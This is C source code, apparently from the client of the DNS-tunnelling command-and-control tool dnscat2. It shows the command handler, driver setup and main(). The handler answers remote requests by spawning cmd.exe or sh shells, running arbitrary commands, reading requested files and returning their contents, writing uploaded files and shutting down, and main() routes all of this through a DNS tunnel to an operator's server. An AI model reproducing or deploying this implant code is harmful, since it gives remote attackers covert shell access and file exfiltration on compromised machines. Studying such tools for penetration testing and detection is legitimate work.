static int create_drivers(ll_t *drivers) { int num_created = 0; make_driver_t *this_driver; while((this_driver = ll_remove_first(drivers))) { num_created++; switch(this_driver->type) { case DRIVER_TYPE_CONSOLE: printf("Creating a console session!\n"); controller_add_session(session_create_console(group, "console")); break; case DRIVER_TYPE_EXEC: printf("Creating a exec('%s') session!\n", this_driver->options.exec.process); controller_add_session(session_create_exec(group, this_driver->options.exec.process, this_driver->options.exec.process)); break; case DRIVER_TYPE_COMMAND: printf("Creating a command session!\n"); controller_add_session(session_create_command(group, "command")); break; case DRIVER_TYPE_PING: printf("Creating a ping session!\n"); controller_add_session(session_create_ping(group, "ping")); break; } safe_free(this_driver); } /* Default to creating a command session. */ if(num_created == 0) { num_created++; controller_add_session(session_create_command(group, "command")); } return num_created; }
void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length) { command_packet_stream_feed(driver->stream, data, length); while(command_packet_stream_ready(driver->stream)) { command_packet_t *in = command_packet_stream_read(driver->stream); command_packet_t *out = NULL; printf("Got a command: "); command_packet_print(in); if(in->command_id == COMMAND_PING && in->is_request == TRUE) { LOG_WARNING("Got a ping request! Responding!\n"); out = command_packet_create_ping_response(in->request_id, in->r.request.body.ping.data); } else if(in->command_id == COMMAND_SHELL && in->is_request == TRUE) { #ifdef WIN32 session_t *session = session_create_exec(driver->group, "cmd.exe", "cmd.exe"); #else session_t *session = session_create_exec(driver->group, "sh", "sh"); #endif controller_add_session(session); out = command_packet_create_shell_response(in->request_id, session->id); } else if(in->command_id == COMMAND_EXEC && in->is_request == TRUE) { session_t *session = session_create_exec(driver->group, in->r.request.body.exec.name, in->r.request.body.exec.command); controller_add_session(session); out = command_packet_create_exec_response(in->request_id, session->id); } else if(in->command_id == COMMAND_DOWNLOAD && in->is_request == TRUE) { struct stat s; if(stat(in->r.request.body.download.filename, &s) != 0) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { uint8_t *data; FILE *f = NULL; #ifdef WIN32 fopen_s(&f, in->r.request.body.download.filename, "rb"); #else f = fopen(in->r.request.body.download.filename, "rb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for reading"); } else { data = safe_malloc(s.st_size); if(fread(data, 1, s.st_size, f) == s.st_size) out = command_packet_create_download_response(in->request_id, data, s.st_size); else out = command_packet_create_error_response(in->request_id, -1, "There was an error reading the file"); fclose(f); safe_free(data); } } } else if(in->command_id == COMMAND_UPLOAD && in->is_request == TRUE) { #ifdef WIN32 FILE *f; fopen_s(&f, in->r.request.body.upload.filename, "wb"); #else FILE *f = fopen(in->r.request.body.upload.filename, "wb"); #endif if(!f) { out = command_packet_create_error_response(in->request_id, -1, "Error opening file for writing"); } else { fwrite(in->r.request.body.upload.data, in->r.request.body.upload.length, 1, f); fclose(f); out = command_packet_create_upload_response(in->request_id); } } else if(in->command_id == COMMAND_SHUTDOWN && in->is_request == TRUE) { controller_kill_all_sessions(); out = command_packet_create_shutdown_response(in->request_id); } else { LOG_ERROR("Got a command packet that we don't know how to handle!\n"); out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!"); } if(out) { uint8_t *data; uint32_t length; printf("Response: "); command_packet_print(out); data = command_packet_to_bytes(out, &length); buffer_add_bytes(driver->outgoing_data, data, length); } command_packet_destroy(in); } }
int main(int argc, char *argv[]) { /* Define the options specific to the DNS protocol. */ struct option long_options[] = { /* General options */ {"help", no_argument, 0, 0}, /* Help */ {"h", no_argument, 0, 0}, {"version", no_argument, 0, 0}, /* Version */ #if 0 {"name", required_argument, 0, 0}, /* Name */ {"n", required_argument, 0, 0}, {"download",required_argument, 0, 0}, /* Download */ {"n", required_argument, 0, 0}, {"chunk", required_argument, 0, 0}, /* Download chunk */ {"isn", required_argument, 0, 0}, /* Initial sequence number */ #endif {"delay", required_argument, 0, 0}, /* Retransmit delay */ {"steady", no_argument, 0, 0}, /* Don't transmit immediately after getting a response. */ {"max-retransmits", required_argument, 0, 0}, /* Set the max retransmissions */ {"retransmit-forever", no_argument, 0, 0}, /* Retransmit forever if needed */ /* i/o options. */ {"console", no_argument, 0, 0}, /* Enable console */ {"exec", required_argument, 0, 0}, /* Enable execute */ {"e", required_argument, 0, 0}, {"command", no_argument, 0, 0}, /* Enable command (default) */ {"ping", no_argument, 0, 0}, /* Ping */ /* Tunnel drivers */ {"dns", required_argument, 0, 0}, /* Enable DNS */ #if 0 {"tcp", optional_argument, 0, 0}, /* Enable TCP */ #endif /* Debug options */ {"d", no_argument, 0, 0}, /* More debug */ {"q", no_argument, 0, 0}, /* Less debug */ {"packet-trace", no_argument, 0, 0}, /* Trace packets */ /* Sentry */ {0, 0, 0, 0} /* End */ }; char c; int option_index; const char *option_name; NBBOOL tunnel_driver_created = FALSE; NBBOOL driver_created = FALSE; log_level_t min_log_level = LOG_LEVEL_WARNING; session_t *session = NULL; group = select_group_create(); system_dns = dns_get_system(); /* Seed with the current time; not great, but it'll suit our purposes. */ srand((unsigned int)time(NULL)); /* This is required for win32 support. */ winsock_initialize(); /* Set the default log level */ log_set_min_console_level(min_log_level); /* Parse the command line options. */ opterr = 0; while((c = getopt_long_only(argc, argv, "", long_options, &option_index)) != EOF) { switch(c) { case 0: option_name = long_options[option_index].name; /* General options */ if(!strcmp(option_name, "help") || !strcmp(option_name, "h")) { usage(argv[0], "--help requested"); } if(!strcmp(option_name, "version")) { printf(NAME" v"VERSION" (client)\n"); exit(0); } else if(!strcmp(option_name, "isn")) { uint16_t isn = (uint16_t) (atoi(optarg) & 0xFFFF); debug_set_isn(isn); } else if(!strcmp(option_name, "delay")) { int delay = (int) atoi(optarg); session_set_delay(delay); LOG_INFO("Setting delay between packets to %dms", delay); } else if(!strcmp(option_name, "steady")) { session_set_transmit_immediately(FALSE); } else if(!strcmp(option_name, "max-retransmits")) { controller_set_max_retransmits(atoi(optarg)); } else if(!strcmp(option_name, "retransmit-forever")) { controller_set_max_retransmits(-1); } /* i/o drivers */ else if(!strcmp(option_name, "console")) { driver_created = TRUE; session = session_create_console(group, "Console session"); controller_add_session(session); } else if(!strcmp(option_name, "exec") || !strcmp(option_name, "e")) { driver_created = TRUE; session = session_create_exec(group, optarg, optarg); controller_add_session(session); } else if(!strcmp(option_name, "command")) { driver_created = TRUE; session = session_create_command(group, "Command session"); controller_add_session(session); } else if(!strcmp(option_name, "ping")) { driver_created = TRUE; session = session_create_ping(group, "Ping session"); controller_add_session(session); } /* Listener options. */ else if(!strcmp(option_name, "listen") || !strcmp(option_name, "l")) { LOG_FATAL("--listen isn't implemented yet! :(\n"); exit(1); /*listen_port = atoi(optarg);*/ /*input_type = TYPE_LISTENER;*/ } /* Tunnel driver options */ else if(!strcmp(option_name, "dns")) { tunnel_driver_created = TRUE; tunnel_driver = create_dns_driver(group, optarg); } else if(!strcmp(option_name, "tcp")) { tunnel_driver_created = TRUE; create_tcp_driver(optarg); } /* Debug options */ else if(!strcmp(option_name, "d")) { if(min_log_level > 0) { min_log_level--; log_set_min_console_level(min_log_level); } } else if(!strcmp(option_name, "q")) { min_log_level++; log_set_min_console_level(min_log_level); } else if(!strcmp(option_name, "packet-trace")) { session_enable_packet_trace(); } else { usage(argv[0], "Unknown option"); } break; case '?': default: usage(argv[0], "Unrecognized argument"); break; } } /* If no output was set, use the domain, and use the last option as the * domain. */ if(!tunnel_driver_created) { /* Make sure they gave a domain. */ if(optind >= argc) { printf("Starting DNS driver without a domain! This will only work if you\n"); printf("are directly connecting to the dnscat2 server.\n"); printf("\n"); printf("You'll need to use --dns server=<server> if you aren't.\n"); tunnel_driver = create_dns_driver_internal(group, NULL, "0.0.0.0", 53, DEFAULT_TYPES, NULL); } else { tunnel_driver = create_dns_driver_internal(group, argv[optind], "0.0.0.0", 53, DEFAULT_TYPES, NULL); } } /* If no i/o was set, create a command session. */ if(!driver_created) { session = session_create_command(group, "command (default)"); controller_add_session(session); } /* Be sure we clean up at exit. */ atexit(cleanup); /* Start the driver! */ driver_dns_go(tunnel_driver); return 0; }